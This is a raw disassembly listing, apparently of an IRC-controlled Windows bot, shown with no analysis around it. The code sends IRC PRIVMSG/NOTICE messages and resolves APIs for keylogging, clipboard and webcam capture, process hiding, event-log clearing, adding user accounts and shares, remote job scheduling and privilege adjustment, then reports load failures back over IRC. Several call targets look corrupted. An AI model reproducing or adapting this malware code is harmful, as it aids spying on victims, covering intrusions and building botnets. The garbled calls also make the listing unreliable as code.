var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_409A8E
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_409A8E: ; CODE XREF: sub_409A73+14j
push edi
call sub_41AFE0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41AFE0
pop ecx
sub esi, eax
pop ecx
lea eax, [ebp+var_400]
push [ebp+arg_8]
push offset aS_1 ; "%s"
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CB6A4
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409B11
push 7D0h
nop
call near ptr 2680000h
locret_409B11: ; CODE XREF: sub_409A73+91j
leave
retn
sub_409A73 endp
; =============== S U B R O U T I N E =======================================
sub_409B13 proc near ; CODE XREF: ___:0040126Cp
push ebx
push ebp
mov ebp, dword_42709C
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp
mov esi, dword_4270BC
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409C33
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4CB700, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov dword_4CB674, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4CB658, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov dword_4CB568, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4CB514, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4CB544, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4CB5BC, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4CB6B4, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4CB710, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4CB574, eax
call esi
cmp dword_4CB700, ebx
mov dword_4CB55C, eax
jz short loc_409C11
cmp dword_4CB674, ebx
jz short loc_409C11
cmp dword_4CB658, ebx
jz short loc_409C11
cmp dword_4CB568, ebx
jz short loc_409C11
cmp dword_4CB544, ebx
jz short loc_409C11
cmp dword_4CB5BC, ebx
jz short loc_409C11
cmp dword_4CB6B4, ebx
jz short loc_409C11
cmp dword_4CB710, ebx
jz short loc_409C11
cmp dword_4CB574, ebx
jz short loc_409C11
cmp eax, ebx
jnz short loc_409C1B
loc_409C11: ; CODE XREF: sub_409B13+B8j
; sub_409B13+C0j ...
mov dword_4CB714, 1
loc_409C1B: ; CODE XREF: sub_409B13+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov dword_4CB68C, eax
jz short loc_409C48
push 1
push ebx
call eax
jmp short loc_409C48
; ---------------------------------------------------------------------------
loc_409C33: ; CODE XREF: sub_409B13+1Dj
call near ptr 2680ABEh
nop
mov dword_4CB718, eax
mov dword_4CB714, 1
loc_409C48: ; CODE XREF: sub_409B13+117j
; sub_409B13+11Ej
push offset aUser32_dll ; "user32.dll"
call near ptr 26A0B0Dh
nop
mov edi, eax
cmp edi, ebx
jz loc_409D5D
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4CB6B0, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov dword_4CB660, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4CB5F4, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4CB704, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4CB624, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4CB644, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4CB6A8, eax
call esi
cmp dword_4CB6B0, ebx
mov dword_4CB594, eax
jz short loc_409D01
cmp dword_4CB660, ebx
jz short loc_409D01
cmp dword_4CB5F4, ebx
jz short loc_409D01
cmp dword_4CB704, ebx
jz short loc_409D01
cmp dword_4CB624, ebx
jz short loc_409D01
cmp dword_4CB644, ebx
jz short loc_409D01
cmp dword_4CB6A8, ebx
jz short loc_409D01
cmp eax, ebx
jnz short loc_409D0B
loc_409D01: ; CODE XREF: sub_409B13+1B8j
; sub_409B13+1C0j ...
mov dword_4CB71C, 1
loc_409D0B: ; CODE XREF: sub_409B13+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4CB620, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4CB528, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4CB5F0, eax
call esi
cmp dword_4CB620, ebx
mov dword_4CB5D8, eax
jz short loc_409D68
cmp dword_4CB528, ebx
jz short loc_409D68
cmp dword_4CB5F0, ebx
jz short loc_409D68
cmp eax, ebx
jnz short loc_409D72
jmp short loc_409D68
; ---------------------------------------------------------------------------
loc_409D5D: ; CODE XREF: sub_409B13+144j
nop
call near ptr 2680ABEh
mov dword_4CB720, eax
loc_409D68: ; CODE XREF: sub_409B13+232j
; sub_409B13+23Aj ...
mov dword_4CB71C, 1
loc_409D72: ; CODE XREF: sub_409B13+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409F2B
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4CB6C4, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4CB608, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4CB678, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4CB554, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4CB5B8, eax
call esi
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4CB630, eax
call esi
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4CB5D4, eax
call esi
cmp dword_4CB6C4, ebx
mov dword_4CB5E4, eax
jz short loc_409E1B
cmp dword_4CB608, ebx
jz short loc_409E1B
cmp dword_4CB678, ebx
jz short loc_409E1B
cmp dword_4CB554, ebx
jz short loc_409E1B
cmp dword_4CB5B8, ebx
jz short loc_409E1B
cmp dword_4CB630, ebx
jnz short loc_409E25
loc_409E1B: ; CODE XREF: sub_409B13+2DEj
; sub_409B13+2E6j ...
mov dword_4CB724, 1
loc_409E25: ; CODE XREF: sub_409B13+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4CB638, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4CB610, eax
call esi
cmp dword_4CB638, ebx
mov dword_4CB6C0, eax
jz short loc_409E60
cmp dword_4CB610, ebx
jz short loc_409E60
cmp eax, ebx
jnz short loc_409E6A
loc_409E60: ; CODE XREF: sub_409B13+33Fj
; sub_409B13+347j
mov dword_4CB724, 1
loc_409E6A: ; CODE XREF: sub_409B13+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4CB648, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4CB530, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov dword_4CB538, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4CB59C, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4CB5A0, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4CB54C, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4CB614, eax
call esi
cmp dword_4CB648, ebx
mov dword_4CB53C, eax
jz short loc_409F0E
cmp dword_4CB530, ebx
jz short loc_409F0E
cmp dword_4CB538, ebx
jz short loc_409F0E
cmp dword_4CB59C, ebx
jz short loc_409F0E
cmp dword_4CB5A0, ebx
jz short loc_409F0E
cmp dword_4CB54C, ebx
jz short loc_409F0E
cmp dword_4CB614, ebx
jz short loc_409F0E
cmp eax, ebx
jnz short loc_409F18
loc_409F0E: ; CODE XREF: sub_409B13+3C5j
; sub_409B13+3CDj ...
mov dword_4CB724, 1
loc_409F18: ; CODE XREF: sub_409B13+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov dword_4CB534, eax
jnz short loc_409F40
jmp short loc_409F36
; ---------------------------------------------------------------------------
loc_409F2B: ; CODE XREF: sub_409B13+26Aj
nop
call near ptr 2680ABEh
mov dword_4CB728, eax
loc_409F36: ; CODE XREF: sub_409B13+416j
mov dword_4CB724, 1
loc_409F40: ; CODE XREF: sub_409B13+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A00C
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4CB640, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4CB698, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4CB6A0, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4CB65C, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4CB578, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov dword_4CB524, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4CB69C, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4CB510, eax
call esi
cmp dword_4CB640, ebx
mov dword_4CB5B0, eax
jz short loc_40A017
cmp dword_4CB698, ebx
jz short loc_40A017
cmp dword_4CB6A0, ebx
jz short loc_40A017
cmp dword_4CB65C, ebx
jz short loc_40A017
cmp dword_4CB578, ebx
jz short loc_40A017
cmp dword_4CB524, ebx
jz short loc_40A017
cmp dword_4CB69C, ebx
jz short loc_40A017
cmp dword_4CB510, ebx
jz short loc_40A017
cmp eax, ebx
jnz short loc_40A021
jmp short loc_40A017
; ---------------------------------------------------------------------------
loc_40A00C: ; CODE XREF: sub_409B13+438j
nop
call near ptr 2680ABEh
mov dword_4CB730, eax
loc_40A017: ; CODE XREF: sub_409B13+4B9j
; sub_409B13+4C1j ...
mov dword_4CB72C, 1
loc_40A021: ; CODE XREF: sub_409B13+4F5j
mov ebp, dword_4270B8
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A2DD
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4CB5C4, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4CB6F8, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4CB564, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4CB540, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4CB600, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4CB5E8, eax
call esi
push offset aSocket ; "socket"
push edi
mov dword_4CB5AC, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4CB6D4, eax
call esi
push offset aConnect ; "connect"
push edi
mov dword_4CB6F0, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4CB5FC, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4CB6E0, eax
call esi
push offset aHtons ; "htons"
push edi
mov dword_4CB694, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov dword_4CB654, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov dword_4CB650, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov dword_4CB584, eax
call esi
push offset aSend ; "send"
push edi
mov dword_4CB57C, eax
call esi
push offset aSendto ; "sendto"
push edi
mov dword_4CB6A4, eax
call esi
push offset aRecv ; "recv"
push edi
mov dword_4CB6B8, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4CB66C, eax
call esi
mov dword_4CB62C, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov dword_4CB680, eax
call esi
push offset aListen ; "listen"
push edi
mov dword_4CB63C, eax
call esi
push offset aAccept ; "accept"
push edi
mov dword_4CB67C, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4CB6E8, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov dword_4CB634, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov dword_4CB5F8, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4CB668, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4CB6D8, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov dword_4CB60C, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov dword_4CB5A8, eax
call esi
cmp dword_4CB5C4, ebx
mov dword_4CB6EC, eax
jz loc_40A2E8
cmp dword_4CB6F8, ebx
jz loc_40A2E8
cmp dword_4CB564, ebx
jz loc_40A2E8
cmp dword_4CB600, ebx
jz loc_40A2E8
cmp dword_4CB5E8, ebx
jz loc_40A2E8
cmp dword_4CB5AC, ebx
jz loc_40A2E8
cmp dword_4CB6D4, ebx
jz loc_40A2E8
cmp dword_4CB6F0, ebx
jz loc_40A2E8
cmp dword_4CB5FC, ebx
jz loc_40A2E8
cmp dword_4CB6E0, ebx
jz loc_40A2E8
cmp dword_4CB694, ebx
jz loc_40A2E8
cmp dword_4CB654, ebx
jz loc_40A2E8
cmp dword_4CB650, ebx
jz loc_40A2E8
cmp dword_4CB584, ebx
jz short loc_40A2E8
cmp dword_4CB6A4, ebx
jz short loc_40A2E8
cmp dword_4CB6B8, ebx
jz short loc_40A2E8
cmp dword_4CB66C, ebx
jz short loc_40A2E8
cmp dword_4CB62C, ebx
jz short loc_40A2E8
cmp dword_4CB680, ebx
jz short loc_40A2E8
cmp dword_4CB63C, ebx
jz short loc_40A2E8
cmp dword_4CB67C, ebx
jz short loc_40A2E8
cmp dword_4CB6E8, ebx
jz short loc_40A2E8
cmp dword_4CB634, ebx
jz short loc_40A2E8
cmp dword_4CB5F8, ebx
jz short loc_40A2E8
cmp dword_4CB668, ebx
jz short loc_40A2E8
cmp dword_4CB6D8, ebx
jz short loc_40A2E8
cmp dword_4CB60C, ebx
jz short loc_40A2E8
cmp eax, ebx
jnz short loc_40A2F2
jmp short loc_40A2E8
; ---------------------------------------------------------------------------
loc_40A2DD: ; CODE XREF: sub_409B13+51Fj
call near ptr 2680ABEh
nop
mov dword_4CB738, eax
loc_40A2E8: ; CODE XREF: sub_409B13+6BEj
; sub_409B13+6CAj ...
mov dword_4CB734, 1
loc_40A2F2: ; CODE XREF: sub_409B13+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A3F7
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4CB590, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4CB518, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4CB61C, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4CB5C8, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4CB628, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4CB5EC, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4CB558, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4CB550, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4CB560, eax
call esi
cmp dword_4CB590, ebx
mov ecx, dword_4CB5EC
mov dword_4CB688, eax
jz short loc_40A3D3
cmp dword_4CB518, ebx
jz short loc_40A3D3
cmp dword_4CB61C, ebx
jz short loc_40A3D3
cmp dword_4CB5C8, ebx
jz short loc_40A3D3
cmp dword_4CB628, ebx
jz short loc_40A3D3
cmp ecx, ebx
jz short loc_40A3D3
cmp dword_4CB558, ebx
jz short loc_40A3D3
cmp dword_4CB550, ebx
jz short loc_40A3D3
cmp dword_4CB560, ebx
jz short loc_40A3D3
cmp eax, ebx
jnz short loc_40A3DD
loc_40A3D3: ; CODE XREF: sub_409B13+87Ej
; sub_409B13+886j ...
mov dword_4CB73C, 1
loc_40A3DD: ; CODE XREF: sub_409B13+8BEj
cmp ecx, ebx
jz short loc_40A412
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx
cmp eax, ebx
mov dword_4CB604, eax
jnz short loc_40A412
jmp short loc_40A40C
; ---------------------------------------------------------------------------
loc_40A3F7: ; CODE XREF: sub_409B13+7EAj
nop
call near ptr 2680ABEh
mov dword_4CB740, eax
mov dword_4CB73C, 1
loc_40A40C: ; CODE XREF: sub_409B13+8E2j
mov dword_4CB604, ebx
loc_40A412: ; CODE XREF: sub_409B13+8CCj
; sub_409B13+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A45C
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4CB5DC, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4CB70C, eax
call esi
cmp dword_4CB5DC, ebx
mov dword_4CB56C, eax
jz short loc_40A467
cmp dword_4CB70C, ebx
jz short loc_40A467
cmp eax, ebx
jnz short loc_40A471
jmp short loc_40A467
; ---------------------------------------------------------------------------
loc_40A45C: ; CODE XREF: sub_409B13+90Aj
call near ptr 2680ABEh
nop
mov dword_4CB748, eax
loc_40A467: ; CODE XREF: sub_409B13+939j
; sub_409B13+941j ...
mov dword_4CB744, 1
loc_40A471: ; CODE XREF: sub_409B13+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A578
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4CB548, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4CB520, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4CB598, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4CB5CC, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4CB6E4, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4CB580, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4CB52C, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4CB51C, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4CB5B4, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4CB6AC, eax
call esi
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4CB664, eax
call esi
cmp dword_4CB548, ebx
mov dword_4CB588, eax
jz short loc_40A583
cmp dword_4CB520, ebx
jz short loc_40A583
cmp dword_4CB598, ebx
jz short loc_40A583
cmp dword_4CB5CC, ebx
jz short loc_40A583
cmp dword_4CB6E4, ebx
jz short loc_40A583
cmp dword_4CB580, ebx
jz short loc_40A583
cmp dword_4CB52C, ebx
jz short loc_40A583
cmp dword_4CB51C, ebx
jz short loc_40A583
cmp dword_4CB5B4, ebx
jz short loc_40A583
cmp dword_4CB6AC, ebx
jz short loc_40A583
cmp dword_4CB664, ebx
jnz short loc_40A58D
jmp short loc_40A583
; ---------------------------------------------------------------------------
loc_40A578: ; CODE XREF: sub_409B13+969j
nop
call near ptr 2680ABEh
mov dword_4CB750, eax
loc_40A583: ; CODE XREF: sub_409B13+A11j
; sub_409B13+A19j ...
mov dword_4CB74C, 1
loc_40A58D: ; CODE XREF: sub_409B13+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A5C2
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4CB570, eax
call esi
cmp dword_4CB570, ebx
mov dword_4CB64C, eax
jz short loc_40A5CD
cmp eax, ebx
jnz short loc_40A5D7
jmp short loc_40A5CD
; ---------------------------------------------------------------------------
loc_40A5C2: ; CODE XREF: sub_409B13+A85j
nop
call near ptr 2680ABEh
mov dword_4CB758, eax
loc_40A5CD: ; CODE XREF: sub_409B13+AA7j
; sub_409B13+AADj
mov dword_4CB754, 1
loc_40A5D7: ; CODE XREF: sub_409B13+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A60C
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4CB6D0, eax
call esi
cmp dword_4CB6D0, ebx
mov dword_4CB6CC, eax
jz short loc_40A617
cmp eax, ebx
jnz short loc_40A621
jmp short loc_40A617
; ---------------------------------------------------------------------------
loc_40A60C: ; CODE XREF: sub_409B13+ACFj
nop
call near ptr 2680ABEh
mov dword_4CB760, eax
loc_40A617: ; CODE XREF: sub_409B13+AF1j
; sub_409B13+AF7j
mov dword_4CB75C, 1
loc_40A621: ; CODE XREF: sub_409B13+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A680
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4CB6FC, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4CB6F4, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4CB6BC, eax
call esi
cmp dword_4CB6FC, ebx
mov dword_4CB58C, eax
jz short loc_40A68B
cmp dword_4CB6F4, ebx
jz short loc_40A68B
cmp dword_4CB6BC, ebx
jz short loc_40A68B
cmp eax, ebx
jnz short loc_40A695
jmp short loc_40A68B
; ---------------------------------------------------------------------------
loc_40A680: ; CODE XREF: sub_409B13+B19j
nop
call near ptr 2680ABEh
mov dword_4CB768, eax
loc_40A68B: ; CODE XREF: sub_409B13+B55j
; sub_409B13+B5Dj ...
mov dword_4CB764, 1
loc_40A695: ; CODE XREF: sub_409B13+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A6CA
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4CB5C0, eax
call esi
cmp dword_4CB5C0, ebx
mov dword_4CB6C8, eax
jz short loc_40A6D5
cmp eax, ebx
jnz short loc_40A6DF
jmp short loc_40A6D5
; ---------------------------------------------------------------------------
loc_40A6CA: ; CODE XREF: sub_409B13+B8Dj
nop
call near ptr 2680ABEh
mov dword_4CB770, eax
loc_40A6D5: ; CODE XREF: sub_409B13+BAFj
; sub_409B13+BB5j
mov dword_4CB76C, 1
loc_40A6DF: ; CODE XREF: sub_409B13+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A768
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4CB690, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4CB6DC, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4CB618, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4CB5D0, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4CB670, eax
call esi
cmp dword_4CB690, ebx
mov dword_4CB5E0, eax
jz short loc_40A773
cmp dword_4CB6DC, ebx
jz short loc_40A773
cmp dword_4CB618, ebx
jz short loc_40A773
cmp dword_4CB5D0, ebx
jz short loc_40A773
cmp dword_4CB670, ebx
jz short loc_40A773
cmp eax, ebx
jnz short loc_40A77D
jmp short loc_40A773
; ---------------------------------------------------------------------------
loc_40A768: ; CODE XREF: sub_409B13+BD7j
nop
call near ptr 2680ABEh
mov dword_4CB778, eax
loc_40A773: ; CODE XREF: sub_409B13+C2Dj
; sub_409B13+C35j ...
mov dword_4CB774, 1
loc_40A77D: ; CODE XREF: sub_409B13+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A7B2
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4CB5A4, eax
call esi
cmp dword_4CB5A4, ebx
mov dword_4CB684, eax
jz short loc_40A7BD
cmp eax, ebx
jnz short loc_40A7C7
jmp short loc_40A7BD
; ---------------------------------------------------------------------------
loc_40A7B2: ; CODE XREF: sub_409B13+C75j
nop
call near ptr 2680ABEh
mov dword_4CB780, eax
loc_40A7BD: ; CODE XREF: sub_409B13+C97j
; sub_409B13+C9Dj
mov dword_4CB77C, 1
loc_40A7C7: ; CODE XREF: sub_409B13+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409B13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A7CF proc near ; CODE XREF: sub_401ACD+2537p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4CB714, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A817
push dword_4CB718
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A817: ; CODE XREF: sub_40A7CF+1Aj
cmp dword_4CB71C, esi
jz short loc_40A84B
push dword_4CB720
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A84B: ; CODE XREF: sub_40A7CF+4Ej
cmp dword_4CB724, esi
jz short loc_40A87F
push dword_4CB728
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A87F: ; CODE XREF: sub_40A7CF+82j
cmp dword_4CB72C, esi
jz short loc_40A8B3
push dword_4CB730
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A8B3: ; CODE XREF: sub_40A7CF+B6j
cmp dword_4CB734, esi
jz short loc_40A8E7
push dword_4CB738
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A8E7: ; CODE XREF: sub_40A7CF+EAj
cmp dword_4CB73C, esi
jz short loc_40A91B
push dword_4CB740
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A91B: ; CODE XREF: sub_40A7CF+11Ej
cmp dword_4CB744, esi
jz short loc_40A94F
push dword_4CB748
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A94F: ; CODE XREF: sub_40A7CF+152j
cmp dword_4CB74C, esi
jz short loc_40A983
push dword_4CB750
